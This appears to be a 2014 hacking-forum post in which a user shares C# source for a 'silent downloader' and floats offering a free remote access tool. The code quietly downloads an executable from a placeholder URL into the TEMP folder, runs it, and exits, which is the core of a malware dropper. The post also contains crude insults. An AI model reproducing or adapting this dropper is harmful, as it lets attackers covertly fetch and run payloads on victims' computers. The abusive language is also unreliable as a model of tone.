Alrighty guys here are the rules.

You must say thanks and if a ton of people download and dont say thanks i'll add a survey link.

Well lets get started.

Heres a silent downloader i made.(source is in c# 2.0)

Dont ask for a virus scan its a source code.(if you dont know how to read code i have made it pretty simple)

Link is [here](#)

I will be adding some other stuff perhaps a free rat idk yet post some ideas and such.

Discounted - September 5, 2014, 10:38 pm

i decided to do a virs scan on it:

Yeah but i'm going to passWell since said user is a fucking retard.

Code using System;

using System.Collections.Generic;

using System.ComponentModel;

using System.Data;

using System.Drawing;

using System.Text;

using System.Net;

using System.Windows.Forms;

using System.Diagnostics;

namespace WindowsFormsApplication1

{

public partial class Form1 : Form

{

public static string shit_bitchs = "ProcessName.exe";

public static string Url = "http://www.yourURL.com";

public Form1()

```
{
  InitializeComponent();
  new WebClient().DownloadFile(Url, Environment.GetEnvironmentVariable("TEMP") + @"\\" +
shit_bitchs);
  try
  {
    Process Java = new Process();
    Java.StartInfo.FileName = Environment.GetEnvironmentVariable("TEMP") + @"\\" +
shit_bitchs;
    Java.Start();
  }
  catch
  {
    Environment.Exit(0);
  }
  Environment.Exit(0);
}
}
```

}So yeah or you could download the source.
